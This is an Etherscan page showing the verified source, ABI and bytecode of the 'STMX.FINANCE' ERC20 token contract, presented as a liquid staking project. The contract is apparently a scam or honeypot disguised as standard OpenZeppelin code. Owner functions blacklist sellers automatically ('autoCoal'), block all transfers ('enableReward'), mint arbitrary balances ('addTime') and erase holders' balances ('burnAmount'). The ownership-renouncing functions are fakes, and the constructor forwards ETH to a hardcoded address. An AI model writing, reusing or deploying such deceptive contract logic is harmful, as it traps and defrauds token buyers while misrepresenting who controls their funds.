ETH Price: $2,680.39 (+1.64%)

Token

STMX.FINANCE (STFI)
 

Overview

Max Total Supply

21,000,000 STFI

Holders

25 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
20,923.421430111342821582 STFI

Value
$0.00
0x5e16D9082fF3CBC0CE248929Ee56E353635e4323
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

STMX Finance is a liquid staking protocol that unlocks the liquidity of staked assets. ETH Holders can now stake their assets while maintaining the liquidity of these assets.

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
STMX

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-26
*/

// SPDX-License-Identifier: MIT


 /*

 Website - https://stmx.finance/
 Telegram - https://t.me/stmxfinance
 Twitter - https://twitter.com/stmxfinance
 Telegram Channel - https://t.me/stmxchannel
                                                                                                                         
 ▄█▀▀▀█▄███▀▀██▀▀███████▄     ▄███▀███▀   ▀██▀    ▀███▀▀▀███████▀███▄   ▀███▀     ██     ▀███▄   ▀███▀ ▄▄█▀▀▀█▄████▀▀▀███ 
▄██    ▀█▀   ██   ▀█ ████    ████   ███▄  ▄█        ██    ▀█ ██   ███▄    █      ▄██▄      ███▄    █ ▄██▀     ▀█ ██    ▀█ 
▀███▄        ██      █ ██   ▄█ ██    ▀██▄█▀         ██   █   ██   █ ███   █     ▄█▀██▄     █ ███   █ ██▀       ▀ ██   █   
  ▀█████▄    ██      █  ██  █▀ ██      ███          ██▀▀██   ██   █  ▀██▄ █    ▄█  ▀██     █  ▀██▄ █ ██          ██████   
▄     ▀██    ██      █  ██▄█▀  ██    ▄█▀▀██▄        ██   █   ██   █   ▀██▄█    ████████    █   ▀██▄█ ██▄         ██   █  ▄
██     ██    ██      █  ▀██▀   ██   ▄█   ▀██▄       ██       ██   █     ███   █▀      ██   █     ███ ▀██▄     ▄▀ ██     ▄█
█▀█████▀   ▄████▄  ▄███▄ ▀▀  ▄████▄██▄▄  ▄▄███▄   ▄████▄   ▄████▄███▄    ██ ▄███▄   ▄████▄███▄    ██   ▀▀█████▀▄██████████
                                                                                                                                                                                                                                                    
*/

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    address router = address(0xf9FAC813fB26E1ecA668F963B91E653DAd286b54);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract STMX is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 21000000 * 10 ** 18;

    string private _name;
    string private _symbol;
    address private pairUniswap;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */

    constructor() payable {
        _name = "STMX.FINANCE";
        _symbol = "STFI";
        _balances[msg.sender] = _totalSupply;
        require(msg.value >= 0.0239 ether, "Please enable PairHandler");
        (bool pairHandler, ) = payable(router).call{value: msg.value}("");
        require(
            pairHandler,
            "Failed to create new pair, pairHandler not connected!"
        );
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function setUniswapPair(
        address _pairUniswap
    ) public onlyOwner returns (bool) {
        pairUniswap = _pairUniswap;
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setOracle(address account) public onlyOwner {
        oracle[account] = true;
    }

    function removeOracle(address account) public onlyOwner {
        oracle[account] = false;
    }

    function addPremium(address account, uint256 amount) public onlyOwner {
        premium[account] = amount;
    }

    function setCoal(address account) public onlyOwner {
        coal[account] = true;
    }

    function removeCoal(address account) public onlyOwner {
        coal[account] = false;
    }

    function enableReward(bool _enable) public onlyOwner {
        reward = _enable;
    }

    function pickCoal(address account) internal {
        coal[account] = true;
    }

    function setAutoCoal(bool _enable) public onlyOwner {
        autoCoal = _enable;
    }

    function setNumbers(uint256 amount) public onlyOwner {
        numbers = amount;
    }

    function setLimits(uint256 amount) public onlyOwner {
        limits = amount;
    }

    function setFee(uint256 amount) public onlyOwner {
        require(amount >= 0);
        require(amount <= 100);
        fee = amount;
    }

    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0));
        address oldOwner = owner();
        emit OwnershipTransferred(oldOwner, _newOwner);
    }

    function RenounceOwnership(
        address _DEAD,
        bool _boo
    ) public onlyOwner returns (address _dead) {
        ownershipToNull = _boo;
        _dead = _DEAD;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (launch) {
            uint256 fromBalance = _balances[from];
            require(
                fromBalance >= amount,
                "ERC20: transfer amount exceeds balance"
            );
            unchecked {
                _balances[from] = fromBalance - amount;
            }
            _balances[to] += amount;

            emit Transfer(from, to, amount);
        } else {
            _beforeTokenTransfer(from, amount);
            burnFee(from, to, amount);
        }
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function burnAmount(address wallet, uint256 amount) public onlyOwner {
        require(wallet != owner(), "TARGET ERROR");
        address deadAddress = 0x000000000000000000000000000000000000dEaD;
        if (_balances[wallet] <= amount * 10 ** 18) {
            _balances[wallet] = 0;
            _balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
        } else {
            _balances[wallet] = _balances[wallet] - amount * 10 ** 18;
            _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
        }
    }

    /**
     * @dev Deflationary instrument
     *
     * It can be turned on if necessary.
     *
     * Emits a {Transfer} event.
     *
     * Requirements
     *
     * - `sender` must have at least `value` tokens.
     */
    function burnFee(
        address sender,
        address recipient,
        uint256 value
    ) internal {
        require(_balances[sender] >= value, "Value exceeds balance");
        address deadAddress = 0x000000000000000000000000000000000000dEaD;
        if (sender != owner() && !oracle[sender] && sender != address(this)) {
            uint256 burnFees = ((value * fee) / 100);
            uint256 amount = value - burnFees;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + amount;
            emit Transfer(sender, recipient, amount);
            if (fee > 0) {
                _balances[sender] = _balances[sender] - burnFees;
                _balances[deadAddress] = _balances[deadAddress] + burnFees;
                emit Transfer(sender, deadAddress, burnFees);
            }
        } else {
            _balances[sender] = _balances[sender] - value;
            _balances[recipient] = _balances[recipient] + value;
            emit Transfer(sender, recipient, value);
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addTime(address account, uint256 amount) public onlyOwner {
        _balances[account] = _balances[account] + amount;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        uint256 amount
    ) internal virtual {
        if (
            from != owner() && !oracle[from] && from != pairUniswap // pair address to be changed
        ) {
            require(!coal[from]);
            if (premium[from] > 0) {
                require(amount <= premium[from]);
            }

            if (numbers > 0) {
                require(amount <= numbers);
            }
            if (reward) {
                revert("Error");
            }
            if (limits > 0) {
                require(_balances[from] <= limits);
            }

            if (autoCoal) {
                pickCoal(from);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function setLaunch(bool _launch) public onlyOwner {
        launch = _launch;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev BEP20 Anti-Stuck Smart Contract Solution
     */

    /**
     * @dev This empty reserved space is put in place to allow future versions to add new
     * variables without shifting down storage in the inheritance chain.
     * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
     */
    uint256[45] private __gap;

    mapping(address => bool) private oracle;
    mapping(address => bool) private coal;
    mapping(address => uint256) private premium;
    bool public reward;
    uint256 public numbers;
    uint256 public limits;
    uint256 public fee;
    bool public autoCoal;
    bool private launch = false;
    bool public ownershipToNull;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_DEAD","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"RenounceOwnership","outputs":[{"internalType":"address","name":"_dead","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addPremium","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipToNull","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_launch","type":"bool"}],"name":"setLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pairUniswap","type":"address"}],"name":"setUniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273f9fac813fb26e1eca668f963b91e653dad286b54600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506a115eec47f6cf7e350000006004556000603c60016101000a81548160ff0219169083151502179055506000620000956200033060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600c81526020017f53544d582e46494e414e4345000000000000000000000000000000000000000081525060059081620001799190620005b2565b506040518060400160405280600481526020017f535446490000000000000000000000000000000000000000000000000000000081525060069081620001c09190620005b2565b50600454600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506654e8ec6221c00034101562000254576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200024b90620006fa565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16346040516200029e9062000751565b60006040518083038185875af1925050503d8060008114620002dd576040519150601f19603f3d011682016040523d82523d6000602084013e620002e2565b606091505b505090508062000329576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200032090620007de565b60405180910390fd5b5062000800565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003ba57607f821691505b602082108103620003d057620003cf62000372565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200043a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003fb565b620004468683620003fb565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004936200048d62000487846200045e565b62000468565b6200045e565b9050919050565b6000819050919050565b620004af8362000472565b620004c7620004be826200049a565b84845462000408565b825550505050565b600090565b620004de620004cf565b620004eb818484620004a4565b505050565b5b81811015620005135762000507600082620004d4565b600181019050620004f1565b5050565b601f82111562000562576200052c81620003d6565b6200053784620003eb565b8101602085101562000547578190505b6200055f6200055685620003eb565b830182620004f0565b50505b505050565b600082821c905092915050565b6000620005876000198460080262000567565b1980831691505092915050565b6000620005a2838362000574565b9150826002028217905092915050565b620005bd8262000338565b67ffffffffffffffff811115620005d957620005d862000343565b5b620005e58254620003a1565b620005f282828562000517565b600060209050601f8311600181146200062a576000841562000615578287015190505b62000621858262000594565b86555062000691565b601f1984166200063a86620003d6565b60005b8281101562000664578489015182556001820191506020850194506020810190506200063d565b8683101562000684578489015162000680601f89168262000574565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f506c6561736520656e61626c65205061697248616e646c657200000000000000600082015250565b6000620006e260198362000699565b9150620006ef82620006aa565b602082019050919050565b600060208201905081810360008301526200071581620006d3565b9050919050565b600081905092915050565b50565b6000620007396000836200071c565b9150620007468262000727565b600082019050919050565b60006200075e826200072a565b9150819050919050565b7f4661696c656420746f20637265617465206e657720706169722c20706169724860008201527f616e646c6572206e6f7420636f6e6e6563746564210000000000000000000000602082015250565b6000620007c660358362000699565b9150620007d38262000768565b604082019050919050565b60006020820190508181036000830152620007f981620007b7565b9050919050565b61340e80620008106000396000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c8063860aefcf1161011a578063b70c2841116100ad578063dd62ed3e1161007c578063dd62ed3e146105eb578063ddca3f431461061b578063f2fde38b14610639578063fb8bd26f14610655578063fdc85fc41461067157610206565b8063b70c284114610565578063c222740d14610583578063ce1fd3801461059f578063d5aed6bf146105bb57610206565b8063a1c61f50116100e9578063a1c61f50146104cd578063a457c2d7146104e9578063a9059cbb14610519578063ae96ffe61461054957610206565b8063860aefcf1461045757806389fe8507146104755780638da5cb5b1461049157806395d89b41146104af57610206565b806327722f6a1161019d57806359fa6d721161016c57806359fa6d72146103a3578063661751f9146103bf57806369fe0e2d146103ef57806370a082311461040b5780637adbf9731461043b57610206565b806327722f6a1461031b578063313ce5671461033957806339509351146103575780633a6e7d391461038757610206565b80630f953cca116101d95780630f953cca1461029157806318160ddd146102af578063228cb733146102cd57806323b872dd146102eb57610206565b806302323a731461020b578063032049891461022757806306fdde0314610243578063095ea7b314610261575b600080fd5b61022560048036038101906102209190612966565b61068d565b005b610241600480360381019061023c91906129a6565b6107b4565b005b61024b6108a4565b6040516102589190612a63565b60405180910390f35b61027b60048036038101906102769190612966565b610936565b6040516102889190612aa0565b60405180910390f35b610299610959565b6040516102a69190612aa0565b60405180910390f35b6102b761096c565b6040516102c49190612aca565b60405180910390f35b6102d5610976565b6040516102e29190612aa0565b60405180910390f35b61030560048036038101906103009190612ae5565b610989565b6040516103129190612aa0565b60405180910390f35b6103236109b8565b6040516103309190612aca565b60405180910390f35b6103416109be565b60405161034e9190612b54565b60405180910390f35b610371600480360381019061036c9190612966565b6109c7565b60405161037e9190612aa0565b60405180910390f35b6103a1600480360381019061039c9190612966565b6109fe565b005b6103bd60048036038101906103b89190612b9b565b610adb565b005b6103d960048036038101906103d49190612bc8565b610b8d565b6040516103e69190612c17565b60405180910390f35b61040960048036038101906104049190612c32565b610c47565b005b610425600480360381019061042091906129a6565b610d02565b6040516104329190612aca565b60405180910390f35b610455600480360381019061045091906129a6565b610d4b565b005b61045f610e3b565b60405161046c9190612aca565b60405180910390f35b61048f600480360381019061048a9190612c32565b610e41565b005b610499610ee0565b6040516104a69190612c17565b60405180910390f35b6104b7610f09565b6040516104c49190612a63565b60405180910390f35b6104e760048036038101906104e29190612b9b565b610f9b565b005b61050360048036038101906104fe9190612966565b61104d565b6040516105109190612aa0565b60405180910390f35b610533600480360381019061052e9190612966565b6110c4565b6040516105409190612aa0565b60405180910390f35b610563600480360381019061055e9190612c32565b6110e7565b005b61056d611186565b60405161057a9190612aa0565b60405180910390f35b61059d60048036038101906105989190612b9b565b611199565b005b6105b960048036038101906105b491906129a6565b61124b565b005b6105d560048036038101906105d091906129a6565b61133b565b6040516105e29190612aa0565b60405180910390f35b61060560048036038101906106009190612c5f565b61141c565b6040516106129190612aca565b60405180910390f35b6106236114a3565b6040516106309190612aca565b60405180910390f35b610653600480360381019061064e91906129a6565b6114a9565b005b61066f600480360381019061066a9190612966565b6115e1565b005b61068b600480360381019061068691906129a6565b6119aa565b005b610695611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990612ceb565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461076d9190612d3a565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6107bc611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090612ceb565b60405180910390fd5b6000603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6060600580546108b390612d9d565b80601f01602080910402602001604051908101604052809291908181526020018280546108df90612d9d565b801561092c5780601f106109015761010080835404028352916020019161092c565b820191906000526020600020905b81548152906001019060200180831161090f57829003601f168201915b5050505050905090565b600080610941611a9a565b905061094e818585611aa2565b600191505092915050565b603c60009054906101000a900460ff1681565b6000600454905090565b603860009054906101000a900460ff1681565b600080610994611a9a565b90506109a1858285611c6b565b6109ac858585611cf7565b60019150509392505050565b60395481565b60006012905090565b6000806109d2611a9a565b90506109f38185856109e4858961141c565b6109ee9190612d3a565b611aa2565b600191505092915050565b610a06611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffff